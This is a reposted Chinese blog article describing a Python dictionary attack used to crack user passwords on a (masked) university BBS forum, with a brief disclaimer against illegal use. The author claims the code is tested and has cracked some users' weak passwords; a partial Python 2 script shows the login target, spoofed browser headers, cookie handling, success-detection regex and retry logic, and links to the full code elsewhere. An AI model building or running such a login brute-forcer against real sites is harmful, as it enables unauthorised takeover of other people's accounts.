国内最全IT社区平台 联系我们 | 收藏本站
华晨云阿里云优惠2
您当前位置:首页 > 互联网 > 用python破解某211大学BBS论坛用户密码

用python破解某211大学BBS论坛用户密码

来源:程序员人生   发布时间:2015-05-20 10:33:02 阅读次数:9076次

本文只是举1反3,用python演示1个思路,适用于不同的网站或论坛。 请勿用于非法行动。

以下代码亲测有效,破解了1些用户的弱密码。固然破解的成功率和你的字典有关,越复杂的字典,成功率就越高,但是花费的时间也就越长。

# -*- coding: utf⑻ -*- __author__ = 'rocky' #http://www.rcdisk.com/index.php/group/topic/id⑷ # 破解211高校BBS论坛的用户密码 #来源:http://www.rcdisk.com # 刃草网-记录你的自学 import cookielib, urllib, urllib2, re, time,sys class BBS_sysu(): def __init__(self): #构造urllib的数据头 self.login_url = "http://bbs.xxxx.edu.cn/login" self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)' self.headers = {'User-Agent': self.user_agent} self.cookie = cookielib.CookieJar() self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie)) self.pattern = re.compile(r'"success":"(d)"') self.guess = False self.ignore=False def urlopen_try(self,req,times=5): data="" try: result = self.opener.open(req) data=result.read() except Exception,what: print what, req; if times>0: time.sleep(20)

完全代码-> http://www.rcdisk.com/index.php/group/topic/id⑷

生活不易,码农辛苦
如果您觉得本网站对您的学习有所帮助,可以手机扫描二维码进行捐赠
程序员人生
------分隔线----------------------------
分享到:
------分隔线----------------------------
关闭
程序员人生